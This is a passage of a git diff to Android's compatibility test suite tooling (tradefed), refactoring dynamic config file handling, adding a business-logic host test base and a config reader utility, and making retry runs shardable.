- private static final String TMP_FOLDER_DYNAMIC_FILES = "dynamic-config-files";
@Option(name = "cleanup", description = "Whether to remove config files from the test " +
"target after test completion.")
@@ -68,8 +66,7 @@
"from the server, e.g. \"1.0\". Defaults to suite version string.")
private String mVersion;
-
- private String mFilePushed;
+ private String mDeviceFilePushed;
void setModuleName(String moduleName) {
mModuleName = moduleName;
@@ -86,7 +83,7 @@
File localConfigFile = null;
try {
- localConfigFile = DynamicConfig.getConfigFile(buildHelper.getTestsDir(), mModuleName);
+ localConfigFile = buildHelper.getTestFile(mModuleName + ".dynamic");
} catch (FileNotFoundException e) {
throw new TargetSetupError("Cannot get local dynamic config file from test directory",
e, device.getDeviceDescriptor());
@@ -115,48 +112,28 @@
"Dynamic config override URL is not set, using local configuration values");
}
- File src = null;
+ // Use DynamicConfigHandler to merge local and service configuration into one file
+ File hostFile = null;
try {
- src = DynamicConfigHandler.getMergedDynamicConfigFile(
+ hostFile = DynamicConfigHandler.getMergedDynamicConfigFile(
localConfigFile, apfeConfigInJson, mModuleName);
} catch (IOException | XmlPullParserException | JSONException e) {
throw new TargetSetupError("Cannot get merged dynamic config file", e,
device.getDeviceDescriptor());
}
- switch (mTarget) {
- case DEVICE:
- String deviceDest = DynamicConfig.CONFIG_FOLDER_ON_DEVICE + src.getName();
- if (!device.pushFile(src, deviceDest)) {
- throw new TargetSetupError(String.format(
- "Failed to push local '%s' to remote '%s'",
- src.getAbsolutePath(), deviceDest), device.getDeviceDescriptor());
- } else {
- mFilePushed = deviceDest;
- buildHelper.addDynamicConfigFile(mModuleName, src);
- }
- break;
-
- case HOST:
- File storageDir = null;
- try {
- storageDir = FileUtil.createTempDir(TMP_FOLDER_DYNAMIC_FILES);
- } catch (IOException e) {
- throw new TargetSetupError("Fail to create a tmp folder for dynamic config "
- + "files", e, device.getDeviceDescriptor());
- }
- File hostDest = new File(storageDir, src.getName());
- try {
- FileUtil.copyFile(src, hostDest);
- } catch (IOException e) {
- throw new TargetSetupError(String.format("Failed to copy file from %s to %s",
- src.getAbsolutePath(), hostDest.getAbsolutePath()), e,
- device.getDeviceDescriptor());
- }
- mFilePushed = storageDir.getAbsolutePath();
- buildHelper.addDynamicConfigFile(mModuleName, src);
- break;
+ if (TestTarget.DEVICE.equals(mTarget)) {
+ String deviceDest = String.format("%s%s.dynamic",
+ DynamicConfig.CONFIG_FOLDER_ON_DEVICE, mModuleName);
+ if (!device.pushFile(hostFile, deviceDest)) {
+ throw new TargetSetupError(String.format(
+ "Failed to push local '%s' to remote '%s'", hostFile.getAbsolutePath(),
+ deviceDest), device.getDeviceDescriptor());
+ }
+ mDeviceFilePushed = deviceDest;
}
+ // add host file to build
+ buildHelper.addDynamicConfigFile(mModuleName, hostFile);
}
/**
@@ -165,16 +142,10 @@
@Override
public void tearDown(ITestDevice device, IBuildInfo buildInfo, Throwable e)
throws DeviceNotAvailableException {
- switch (mTarget) {
- case DEVICE:
- if (!(e instanceof DeviceNotAvailableException)
- && mCleanup && mFilePushed != null) {
- device.executeShellCommand("rm -r " + mFilePushed);
- }
- break;
- case HOST:
- FileUtil.recursiveDelete(new File(mFilePushed));
- break;
+ // Remove any file we have pushed to the device, host file will be moved to the result
+ // directory by ResultReporter upon invocation completion.
+ if (mDeviceFilePushed != null && !(e instanceof DeviceNotAvailableException) && mCleanup) {
+ device.executeShellCommand("rm -r " + mDeviceFilePushed);
}
}
}
diff --git a/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/targetprep/MediaPreparer.java b/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/targetprep/MediaPreparer.java
index 6afbd4e..f011f5e 100644
--- a/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/targetprep/MediaPreparer.java
+++ b/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/targetprep/MediaPreparer.java
@@ -17,7 +17,7 @@
import com.android.compatibility.common.tradefed.build.CompatibilityBuildHelper;
import com.android.compatibility.common.tradefed.targetprep.PreconditionPreparer;
-import com.android.compatibility.common.util.DynamicConfigHostSide;
+import com.android.compatibility.common.tradefed.util.DynamicConfigFileReader;
import com.android.ddmlib.IDevice;
import com.android.ddmlib.Log;
import com.android.ddmlib.testrunner.TestIdentifier;
@@ -227,10 +227,8 @@
URL url;
try {
// Get download URL from dynamic configuration service
- File config =
- DynamicConfigHostSide.getDynamicConfigFile(buildInfo, DYNAMIC_CONFIG_MODULE);
- String mediaUrlString =
- DynamicConfigHostSide.getValueFromConfig(config, MEDIA_FILES_URL_KEY);
+ String mediaUrlString = DynamicConfigFileReader.getValueFromConfig(
+ buildInfo, DYNAMIC_CONFIG_MODULE, MEDIA_FILES_URL_KEY);
url = new URL(mediaUrlString);
} catch (IOException | XmlPullParserException e) {
throw new TargetSetupError("Trouble finding media file download location with " +
diff --git a/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/testtype/BusinessLogicHostTestBase.java b/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/testtype/BusinessLogicHostTestBase.java
new file mode 100644
index 0000000..7ebd717
--- /dev/null
+++ b/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/testtype/BusinessLogicHostTestBase.java
@@ -0,0 +1,86 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.compatibility.common.tradefed.testtype;
+
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
+import static org.junit.Assume.assumeTrue;
+
+import org.junit.Before;
+import org.junit.Rule;
+import org.junit.rules.TestName;
+
+import com.android.compatibility.common.tradefed.build.CompatibilityBuildHelper;
+import com.android.compatibility.common.util.BusinessLogic;
+import com.android.compatibility.common.util.BusinessLogicExecutor;
+import com.android.compatibility.common.util.BusinessLogicFactory;
+import com.android.compatibility.common.util.BusinessLogicHostExecutor;
+import com.android.tradefed.log.LogUtil.CLog;
+
+import java.io.File;
+
+/**
+ * Host-side base class for tests leveraging the Business Logic service.
+ */
+public class BusinessLogicHostTestBase extends CompatibilityHostTestBase {
+
+ /* String marking the beginning of the parameter in a test name */
+ private static final String PARAM_START = "[";
+
+ /* Test name rule that tracks the current test method under execution */
+ @Rule public TestName mTestCase = new TestName();
+
+ private static BusinessLogic mBusinessLogic;
+ private static boolean mCanReadBusinessLogic = true;
+
+ @Before
+ public void executeBusinessLogic() {
+ // Business logic must be retrieved in this @Before method, since the build info contains
+ // the location of the business logic file and cannot be referenced from a static context
+ if (mBusinessLogic == null) {
+ CompatibilityBuildHelper helper = new CompatibilityBuildHelper(mBuild);
+ File businessLogicFile = helper.getBusinessLogicHostFile();
+ if (businessLogicFile != null && businessLogicFile.canRead()) {
+ mBusinessLogic = BusinessLogicFactory.createFromFile(businessLogicFile);
+ } else {
+ mCanReadBusinessLogic = false; // failed to retrieve business logic
+ }
+ }
+
+ String methodName = mTestCase.getMethodName();
+ assertTrue(String.format("Test \"%s\" is unable to execute as it depends on the missing "
+ + "remote configuration.", methodName), mCanReadBusinessLogic);
+ if (methodName.contains(PARAM_START)) {
+ // Strip parameter suffix (e.g. "[0]") from method name
+ methodName = methodName.substring(0, methodName.lastIndexOf(PARAM_START));
+ }
+ String testName = String.format("%s#%s", this.getClass().getName(), methodName);
+ if (mBusinessLogic.hasLogicFor(testName)) {
+ CLog.i("Applying business logic for test case: ", testName);
+ BusinessLogicExecutor executor = new BusinessLogicHostExecutor(getDevice(),
+ mBuild, this);
+ mBusinessLogic.applyLogicFor(testName, executor);
+ }
+ }
+
+ public static void skipTest(String message) {
+ assumeTrue(message, false);
+ }
+
+ public static void failTest(String message) {
+ fail(message);
+ }
+}
diff --git a/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/testtype/CompatibilityHostTestBase.java b/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/testtype/CompatibilityHostTestBase.java
index 7585a6c..1222a1f 100644
--- a/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/testtype/CompatibilityHostTestBase.java
+++ b/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/testtype/CompatibilityHostTestBase.java
@@ -20,6 +20,7 @@
import static org.junit.Assert.assertTrue;
import com.android.annotations.Nullable;
+import com.android.annotations.VisibleForTesting;
import com.android.compatibility.common.tradefed.build.CompatibilityBuildHelper;
import com.android.ddmlib.Log.LogLevel;
import com.android.ddmlib.testrunner.RemoteAndroidTestRunner;
@@ -236,8 +237,13 @@
testRunner.setClassName(testClassName);
}
- CollectingTestListener listener = new CollectingTestListener();
+ CollectingTestListener listener = createCollectingListener();
assertTrue(mDevice.runInstrumentationTests(testRunner, listener));
return listener.getCurrentRunResults();
}
+
+ @VisibleForTesting
+ protected CollectingTestListener createCollectingListener() {
+ return new CollectingTestListener();
+ }
}
diff --git a/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/testtype/CompatibilityTest.java b/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/testtype/CompatibilityTest.java
index d6fb594..07bfe83 100644
--- a/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/testtype/CompatibilityTest.java
+++ b/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/testtype/CompatibilityTest.java
@@ -16,7 +16,6 @@
package com.android.compatibility.common.tradefed.testtype;
-import com.android.compatibility.SuiteInfo;
import com.android.compatibility.common.tradefed.build.CompatibilityBuildHelper;
import com.android.compatibility.common.tradefed.result.InvocationFailureHandler;
import com.android.compatibility.common.tradefed.result.SubPlanHelper;
@@ -55,6 +54,7 @@
import com.android.tradefed.testtype.IShardableTest;
import com.android.tradefed.testtype.IStrictShardableTest;
import com.android.tradefed.testtype.ITestCollector;
+import com.android.tradefed.testtype.suite.TestSuiteInfo;
import com.android.tradefed.util.AbiFormatter;
import com.android.tradefed.util.AbiUtils;
import com.android.tradefed.util.ArrayUtil;
@@ -605,7 +605,7 @@
* Exposed for testing.
*/
protected Set<String> getAbisForBuildTargetArch() {
- return AbiUtils.getAbisForArch(SuiteInfo.TARGET_ARCH);
+ return AbiUtils.getAbisForArch(TestSuiteInfo.getInstance().getTargetArch());
}
/**
@@ -664,10 +664,10 @@
if (!failures.isEmpty()) {
CLog.w("There are failed system status checkers: %s capturing a bugreport",
failures.toString());
- InputStreamSource bugSource = device.getBugreport();
- logger.testLog(String.format("bugreport-checker-pre-module-%s", moduleName),
- LogDataType.BUGREPORT, bugSource);
- bugSource.cancel();
+ try (InputStreamSource bugSource = device.getBugreport()) {
+ logger.testLog(String.format("bugreport-checker-pre-module-%s", moduleName),
+ LogDataType.BUGREPORT, bugSource);
+ }
}
}
@@ -686,10 +686,10 @@
if (!failures.isEmpty()) {
CLog.w("There are failed system status checkers: %s capturing a bugreport",
failures.toString());
- InputStreamSource bugSource = device.getBugreport();
- logger.testLog(String.format("bugreport-checker-post-module-%s", moduleName),
- LogDataType.BUGREPORT, bugSource);
- bugSource.cancel();
+ try (InputStreamSource bugSource = device.getBugreport()) {
+ logger.testLog(String.format("bugreport-checker-post-module-%s", moduleName),
+ LogDataType.BUGREPORT, bugSource);
+ }
}
}
diff --git a/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/testtype/FailureListener.java b/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/testtype/FailureListener.java
index 758be95..fbddb22 100644
--- a/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/testtype/FailureListener.java
+++ b/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/testtype/FailureListener.java
@@ -67,13 +67,14 @@
@Override
public void testFailed(TestIdentifier test, String trace) {
super.testFailed(test, trace);
- CLog.i("FailureListener.testFailed %s %b %b %b", test.toString(), mBugReportOnFailure, mLogcatOnFailure, mScreenshotOnFailure);
+ CLog.i("FailureListener.testFailed %s %b %b %b",
+ test.toString(), mBugReportOnFailure, mLogcatOnFailure, mScreenshotOnFailure);
if (mScreenshotOnFailure) {
try {
- InputStreamSource screenSource = mDevice.getScreenshot();
- super.testLog(String.format("%s-screenshot", test.toString()), LogDataType.PNG,
- screenSource);
- screenSource.cancel();
+ try (InputStreamSource screenSource = mDevice.getScreenshot()) {
+ super.testLog(String.format("%s-screenshot", test.toString()), LogDataType.PNG,
+ screenSource);
+ }
} catch (DeviceNotAvailableException e) {
CLog.e(e);
CLog.e("Device %s became unavailable while capturing screenshot",
@@ -81,18 +82,35 @@
}
}
if (mBugReportOnFailure) {
- InputStreamSource bugSource = mDevice.getBugreport();
- super.testLog(String.format("%s-bugreport", test.toString()), LogDataType.BUGREPORT,
- bugSource);
- bugSource.cancel();
+ int api = -1;
+ try {
+ api = mDevice.getApiLevel();
+ } catch (DeviceNotAvailableException e) {
+ // ignore, it will be raised later.
+ }
+ if (api < 24) {
+ try (InputStreamSource fallback = mDevice.getBugreport()) {
+ super.testLog(String.format("%s-bugreport", test.toString()),
+ LogDataType.BUGREPORT, fallback);
+ }
+ } else {
+ try (InputStreamSource bugSource = mDevice.getBugreportz()) {
+ if (bugSource != null) {
+ super.testLog(String.format("%s-bugreportz", test.toString()),
+ LogDataType.BUGREPORTZ, bugSource);
+ } else {
+ CLog.e("Failed to capture bugreport for %s", test.toString());
+ }
+ }
+ }
}
if (mLogcatOnFailure) {
// sleep 2s to ensure test failure stack trace makes it into logcat capture
RunUtil.getDefault().sleep(2 * 1000);
- InputStreamSource logSource = mDevice.getLogcat(mMaxLogcatBytes);
- super.testLog(String.format("%s-logcat", test.toString()), LogDataType.LOGCAT,
- logSource);
- logSource.cancel();
+ try (InputStreamSource logSource = mDevice.getLogcat(mMaxLogcatBytes)) {
+ super.testLog(String.format("%s-logcat", test.toString()), LogDataType.LOGCAT,
+ logSource);
+ }
}
if (mRebootOnFailure) {
try {
diff --git a/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/testtype/ModuleRepo.java b/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/testtype/ModuleRepo.java
index b682ba5..eb67cc8 100644
--- a/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/testtype/ModuleRepo.java
+++ b/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/testtype/ModuleRepo.java
@@ -225,13 +225,14 @@
// Need to generate a different config for each ABI as we cannot guarantee the
// configs are idempotent. This however means we parse the same file multiple times
for (IAbi abi : abis) {
- IConfiguration config = mConfigFactory.createConfigurationFromArgs(pathArg);
String id = AbiUtils.createId(abi.getName(), name);
if (!shouldRunModule(id)) {
// If the module should not run tests based on the state of filters,
// skip this name/abi combination.
continue;
}
+
+ IConfiguration config = mConfigFactory.createConfigurationFromArgs(pathArg);
if (!filterByConfigMetadata(config,
metadataIncludeFilters, metadataExcludeFilters)) {
// if the module config did not pass the metadata filters, it's excluded
diff --git a/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/testtype/retry/RetryFactoryTest.java b/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/testtype/retry/RetryFactoryTest.java
index 0276b3c..40bf633 100644
--- a/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/testtype/retry/RetryFactoryTest.java
+++ b/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/testtype/retry/RetryFactoryTest.java
@@ -17,6 +17,7 @@
import com.android.compatibility.common.tradefed.build.CompatibilityBuildHelper;
import com.android.compatibility.common.tradefed.testtype.CompatibilityTest;
+import com.android.compatibility.common.tradefed.testtype.suite.CompatibilityTestSuite;
import com.android.compatibility.common.tradefed.util.RetryFilterHelper;
import com.android.compatibility.common.tradefed.util.RetryType;
import com.android.tradefed.build.IBuildInfo;
@@ -28,6 +29,7 @@
import com.android.tradefed.device.DeviceNotAvailableException;
import com.android.tradefed.device.ITestDevice;
import com.android.tradefed.invoker.IInvocationContext;
+import com.android.tradefed.log.LogUtil.CLog;
import com.android.tradefed.result.ITestInvocationListener;
import com.android.tradefed.suite.checker.ISystemStatusChecker;
import com.android.tradefed.suite.checker.ISystemStatusCheckerReceiver;
@@ -35,9 +37,11 @@
import com.android.tradefed.testtype.IDeviceTest;
import com.android.tradefed.testtype.IInvocationContextReceiver;
import com.android.tradefed.testtype.IRemoteTest;
+import com.android.tradefed.testtype.IShardableTest;
import com.google.common.annotations.VisibleForTesting;
+import java.util.Collection;
import java.util.HashSet;
import java.util.List;
import java.util.Set;
@@ -50,7 +54,7 @@
*/
@OptionClass(alias = "compatibility")
public class RetryFactoryTest implements IRemoteTest, IDeviceTest, IBuildReceiver,
- ISystemStatusCheckerReceiver, IInvocationContextReceiver {
+ ISystemStatusCheckerReceiver, IInvocationContextReceiver, IShardableTest {
/**
* Mirror the {@link CompatibilityTest} options in order to create it.
@@ -136,12 +140,35 @@
*/
@Override
public void run(ITestInvocationListener listener) throws DeviceNotAvailableException {
+ CompatibilityTestSuite test = loadSuite();
+ // run the retry run.
+ test.run(listener);
+ }
+
+ @Override
+ public Collection<IRemoteTest> split(int shardCountHint) {
+ try {
+ CompatibilityTestSuite test = loadSuite();
+ return test.split(shardCountHint);
+ } catch (DeviceNotAvailableException e) {
+ CLog.e("Failed to shard the retry run.");
+ CLog.e(e);
+ }
+ return null;
+ }
+
+ /**
+ * Helper to create a {@link CompatibilityTestSuite} from previous results.
+ */
+ private CompatibilityTestSuite loadSuite() throws DeviceNotAvailableException {
// Create a compatibility test and set it to run only what we want.
- CompatibilityTest test = createTest();
+ CompatibilityTestSuite test = createTest();
CompatibilityBuildHelper buildHelper = new CompatibilityBuildHelper(mBuildInfo);
// Create the helper with all the options needed.
RetryFilterHelper helper = createFilterHelper(buildHelper);
+ // TODO: we have access to the original command line, we should accommodate more re-run
+ // scenario like when the original cts.xml config was not used.
helper.validateBuildFingerprint(mDevice);
helper.setCommandLineOptionsFor(test);
helper.setCommandLineOptionsFor(this);
@@ -166,8 +193,7 @@
test.setInvocationContext(mContext);
// clean the helper
helper.tearDown();
- // run the retry run.
- test.run(listener);
+ return test;
}
@VisibleForTesting
@@ -177,7 +203,7 @@
}
@VisibleForTesting
- CompatibilityTest createTest() {
- return new CompatibilityTest();
+ CompatibilityTestSuite createTest() {
+ return new CompatibilityTestSuite();
}
}
diff --git a/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/testtype/suite/CompatibilityTestSuite.java b/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/testtype/suite/CompatibilityTestSuite.java
index e065ce8..bb74f23 100644
--- a/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/testtype/suite/CompatibilityTestSuite.java
+++ b/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/testtype/suite/CompatibilityTestSuite.java
@@ -15,8 +15,8 @@
*/
package com.android.compatibility.common.tradefed.testtype.suite;
-import com.android.compatibility.SuiteInfo;
import com.android.compatibility.common.tradefed.build.CompatibilityBuildHelper;
+import com.android.compatibility.common.tradefed.testtype.CompatibilityTest;
import com.android.compatibility.common.tradefed.testtype.ISubPlan;
import com.android.compatibility.common.tradefed.testtype.SubPlan;
import com.android.compatibility.common.util.TestFilter;
@@ -31,6 +31,7 @@
import com.android.tradefed.testtype.Abi;
import com.android.tradefed.testtype.IAbi;
import com.android.tradefed.testtype.suite.ITestSuite;
+import com.android.tradefed.testtype.suite.TestSuiteInfo;
import com.android.tradefed.util.AbiFormatter;
import com.android.tradefed.util.AbiUtils;
import com.android.tradefed.util.ArrayUtil;
@@ -67,6 +68,12 @@
private static final String PRIMARY_ABI_RUN = "primary-abi-only";
private static final String PRODUCT_CPU_ABI_KEY = "ro.product.cpu.abi";
+ // TODO: remove this option when CompatibilityTest goes away
+ @Option(name = CompatibilityTest.RETRY_OPTION,
+ shortName = 'r',
+ description = "Copy of --retry from CompatibilityTest to prevent using it.")
+ private Integer mRetrySessionId = null;
+
@Option(name = SUBPLAN_OPTION,
description = "the subplan to run",
importance = Importance.IF_UNSET)
@@ -146,6 +153,10 @@
*/
@Override
public LinkedHashMap<String, IConfiguration> loadTests() {
+ if (mRetrySessionId != null) {
+ throw new IllegalArgumentException("--retry cannot be specified with cts-suite.xml. "
+ + "Use 'run cts --retry <session id>' instead.");
+ }
try {
setupFilters();
Set<IAbi> abis = getAbis(getDevice());
@@ -223,7 +234,7 @@
* Exposed for testing.
*/
protected Set<String> getAbisForBuildTargetArch() {
- return AbiUtils.getAbisForArch(SuiteInfo.TARGET_ARCH);
+ return AbiUtils.getAbisForArch(TestSuiteInfo.getInstance().getTargetArch());
}
/**
@@ -281,4 +292,18 @@
filters.clear();
filters.addAll(cleanedFilters);
}
+
+ /**
+ * Sets include-filters for the compatibility test
+ */
+ public void setIncludeFilter(Set<String> includeFilters) {
+ mIncludeFilters.addAll(includeFilters);
+ }
+
+ /**
+ * Sets exclude-filters for the compatibility test
+ */
+ public void setExcludeFilter(Set<String> excludeFilters) {
+ mExcludeFilters.addAll(excludeFilters);
+ }
}
diff --git a/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/util/CollectorUtil.java b/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/util/CollectorUtil.java
index ae91ad1..65203dd 100644
--- a/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/util/CollectorUtil.java
+++ b/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/util/CollectorUtil.java
@@ -79,7 +79,9 @@
*/
public static void pullFromHost(File src, File dest) {
try {
- FileUtil.recursiveCopy(src, dest);
+ if (src.listFiles() != null) {
+ FileUtil.recursiveCopy(src, dest);
+ }
FileUtil.recursiveDelete(src);
} catch (IOException e) {
CLog.e("Caught exception during pull.");
diff --git a/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/util/DynamicConfigFileReader.java b/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/util/DynamicConfigFileReader.java
new file mode 100644
index 0000000..f2b7f3c
--- /dev/null
+++ b/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/util/DynamicConfigFileReader.java
@@ -0,0 +1,104 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.compatibility.common.tradefed.util;
+
+import com.android.compatibility.common.tradefed.build.CompatibilityBuildHelper;
+import com.android.compatibility.common.util.DynamicConfig;
+import com.android.tradefed.build.IBuildInfo;
+import com.android.tradefed.log.LogUtil.CLog;
+
+import org.xmlpull.v1.XmlPullParserException;
+
+import java.io.File;
+import java.io.IOException;
+import java.util.List;
+import java.util.Map;
+
+/**
+ * Utility to read the data from a dynamic config file.
+ */
+public class DynamicConfigFileReader {
+
+ /**
+ * Returns the value of a key from a downloaded file.
+ *
+ * @param file The file downloaded, can be retrieve via
+ * {@link CompatibilityBuildHelper#getDynamicConfigFiles()}
+ * @param key the key inside the file which value we want to return
+ * @return the value associated to the key in the config file provided.
+ */
+ public static String getValueFromConfig(File file, String key)
+ throws XmlPullParserException, IOException {
+ Map<String, List<String>> configMap = DynamicConfig.createConfigMap(file);
+ List<String> singleValue = configMap.get(key);
+ if (singleValue == null || singleValue.size() == 0 || singleValue.size() > 1) {
+ // key must exist in the map, and map to a list containing exactly one string
+ return null;
+ }
+ return singleValue.get(0);
+ }
+
+ /**
+ * Returns the multiple values of a key from a downloaded file.
+ *
+ * @param file The file downloaded, can be retrieve via
+ * {@link CompatibilityBuildHelper#getDynamicConfigFiles()}
+ * @param key the key inside the file which values we want to return
+ * @return the values associated to the key in the config file provided.
+ */
+ public static List<String> getValuesFromConfig(File file, String key)
+ throws XmlPullParserException, IOException {
+ return DynamicConfig.createConfigMap(file).get(key);
+ }
+
+ /**
+ * Returns the value of a key from the build info and module targeted.
+ *
+ * @param info the {@link IBuildInfo} of the run.
+ * @param moduleName the name of the module we need the dynamic file from.
+ * @param key the key inside the file which value we want to return
+ * @return the value associated to the key in the dynamic config associated with the module.
+ */
+ public static String getValueFromConfig(IBuildInfo info, String moduleName, String key)
+ throws XmlPullParserException, IOException {
+ CompatibilityBuildHelper helper = new CompatibilityBuildHelper(info);
+ File dynamicConfig = helper.getDynamicConfigFiles().get(moduleName);
+ if (dynamicConfig == null) {
+ CLog.w("Config file %s, not found in the map of dynamic configs.", moduleName);
+ return null;
+ }
+ return getValueFromConfig(dynamicConfig, key);
+ }
+
+ /**
+ * Returns the multiple values of a key from the build info and module targeted.
+ *
+ * @param info the {@link IBuildInfo} of the run.
+ * @param moduleName the name of the module we need the dynamic file from.
+ * @param key the key inside the file which values we want to return
+ * @return the values associated to the key in the dynamic config associated with the module.
+ */
+ public static List<String> getValuesFromConfig(IBuildInfo info, String moduleName, String key)
+ throws XmlPullParserException, IOException {
+ CompatibilityBuildHelper helper = new CompatibilityBuildHelper(info);
+ File dynamicConfig = helper.getDynamicConfigFiles().get(moduleName);
+ if (dynamicConfig == null) {
+ CLog.w("Config file %s, not found in the map of dynamic configs.", moduleName);
+ return null;
+ }
+ return getValuesFromConfig(dynamicConfig, key);
+ }
+}
diff --git a/common/host-side/tradefed/tests/src/com/android/compatibility/common/tradefed/UnitTests.java b/common/host-side/tradefed/tests/src/com/android/compatibility/common/tradefed/UnitTests.java
index b36d960..5aaa542 100644
--- a/common/host-side/tradefed/tests/src/com/android/compatibility/common/tradefed/UnitTests.java
+++ b/common/host-side/tradefed/tests/src/com/android/compatibility/common/tradefed/UnitTests.java
@@ -16,8 +16,10 @@
package com.android.compatibility.common.tradefed;
import com.android.compatibility.common.tradefed.build.CompatibilityBuildHelperTest;
+import com.android.compatibility.common.tradefed.build.CompatibilityBuildProviderTest;
import com.android.compatibility.common.tradefed.command.CompatibilityConsoleTest;
import com.android.compatibility.common.tradefed.config.ConfigurationFactoryTest;
+import com.android.compatibility.common.tradefed.presubmit.ApkPackageNameCheck;
import com.android.compatibility.common.tradefed.presubmit.CtsConfigLoadingTest;
import com.android.compatibility.common.tradefed.presubmit.IntegrationTest;
import com.android.compatibility.common.tradefed.presubmit.PresubmitSetupValidation;
@@ -41,6 +43,7 @@
import com.android.compatibility.common.tradefed.testtype.suite.CompatibilityTestSuiteTest;
import com.android.compatibility.common.tradefed.testtype.suite.ModuleRepoSuiteTest;
import com.android.compatibility.common.tradefed.util.CollectorUtilTest;
+import com.android.compatibility.common.tradefed.util.DynamicConfigFileReaderTest;
import com.android.compatibility.common.tradefed.util.OptionHelperTest;
import com.android.compatibility.common.tradefed.util.RetryFilterHelperTest;
import com.android.compatibility.common.tradefed.util.UniqueModuleCountUtilTest;
@@ -58,6 +61,7 @@
@SuiteClasses({
// build
CompatibilityBuildHelperTest.class,
+ CompatibilityBuildProviderTest.class,
// command
CompatibilityConsoleTest.class,
@@ -66,6 +70,7 @@
ConfigurationFactoryTest.class,
// presubmit
+ ApkPackageNameCheck.class,
CtsConfigLoadingTest.class,
IntegrationTest.class,
PresubmitSetupValidation.class,
@@ -101,6 +106,7 @@
// util
CollectorUtilTest.class,
+ DynamicConfigFileReaderTest.class,
OptionHelperTest.class,
RetryFilterHelperTest.class,
UniqueModuleCountUtilTest.class,
diff --git a/common/host-side/tradefed/tests/src/com/android/compatibility/common/tradefed/build/CompatibilityBuildHelperTest.java b/common/host-side/tradefed/tests/src/com/android/compatibility/common/tradefed/build/CompatibilityBuildHelperTest.java
index 44c262d..829dcc0 100644
--- a/common/host-side/tradefed/tests/src/com/android/compatibility/common/tradefed/build/CompatibilityBuildHelperTest.java
+++ b/common/host-side/tradefed/tests/src/com/android/compatibility/common/tradefed/build/CompatibilityBuildHelperTest.java
@@ -174,6 +174,40 @@
}
/**
+ * Test that adding dynamic config to be tracked for reporting is backed by {@link File}
+ * references and not absolute path. When sharding, path are invalidated but Files are copied.
+ */
+ public void testAddDynamicFiles() throws Exception {
+ File tmpDynamicFile = FileUtil.createTempFile("cts-test-file", ".dynamic");
+ FileUtil.writeToFile("test string", tmpDynamicFile);
+ try {
+ mHelper.addDynamicConfigFile("CtsModuleName", tmpDynamicFile);
+ File currentDynamicFile = mHelper.getDynamicConfigFiles().get("CtsModuleName");
+ assertNotNull(currentDynamicFile);
+ assertEquals(tmpDynamicFile, currentDynamicFile);
+ // In case of sharding the underlying build info will be cloned, and old build cleaned.
+ IBuildInfo clone = mBuild.clone();
+ try {
+ mBuild.cleanUp();
+ // With cleanup the current dynamic file tracked are cleaned
+ assertFalse(currentDynamicFile.exists());
+ CompatibilityBuildHelper helperShard = new CompatibilityBuildHelper(clone);
+ File newDynamicFile = helperShard.getDynamicConfigFiles().get("CtsModuleName");
+ assertNotNull(newDynamicFile);
+ // the cloned build has the infos but backed by other file
+ assertFalse(
+ tmpDynamicFile.getAbsolutePath().equals(newDynamicFile.getAbsolutePath()));
+ // content has also followed.
+ assertEquals("test string", FileUtil.readStringFromFile(newDynamicFile));
+ } finally {
+ clone.cleanUp();
+ }
+ } finally {
+ FileUtil.deleteFile(tmpDynamicFile);
+ }
+ }
+
+ /**
* Sets the *_ROOT property of the build's installation location.
*
* @param value the value to set, or null to clear the property.
diff --git a/common/host-side/tradefed/tests/src/com/android/compatibility/common/tradefed/build/CompatibilityBuildProviderTest.java b/common/host-side/tradefed/tests/src/com/android/compatibility/common/tradefed/build/CompatibilityBuildProviderTest.java
new file mode 100644
index 0000000..50c5da3
